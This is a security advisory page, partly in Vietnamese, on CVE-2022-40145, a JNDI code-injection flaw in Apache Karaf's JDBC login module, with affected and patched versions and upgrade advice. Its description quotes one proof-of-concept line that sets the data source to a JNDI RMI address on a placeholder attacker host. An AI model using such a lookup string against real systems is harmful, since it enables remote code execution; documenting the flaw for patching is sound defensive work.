Apache Karaf vulnerable to potential code injection

NGHIÊM TRỌNG 9.8CVE-2022-40145 · GHSA-c2p4-8mvv-rwmv · Công bố 21/12/2022 · cập nhật 17/06/2026

Tóm tắt nhanh

CVE-2022-40145 là lỗ hổng mức NGHIÊM TRỌNG (CVSS 9.8) ảnh hưởng org.apache.karaf:apache-karaf, karaf (apache).
Xác suất bị khai thác trong 30 ngày tới (EPSS): 2.6%, cao hơn 85.3% các lỗ hổng khác.
Cách xử lý: cập nhật lên 4.4.2, 4.3.8 hoặc mới hơn.

Gói / sản phẩm	Phiên bản bị ảnh hưởng	Phiên bản đã vá
org.apache.karaf:apache-karaf Maven	`≥ 4.4.0, < 4.4.2< 4.3.8`	`4.4.24.3.8`
karaf apache	`≥ 4.4.0, < 4.4.2< 4.3.8`	`4.4.24.3.8`

Mô tả

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.

Mô tả của NVD

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8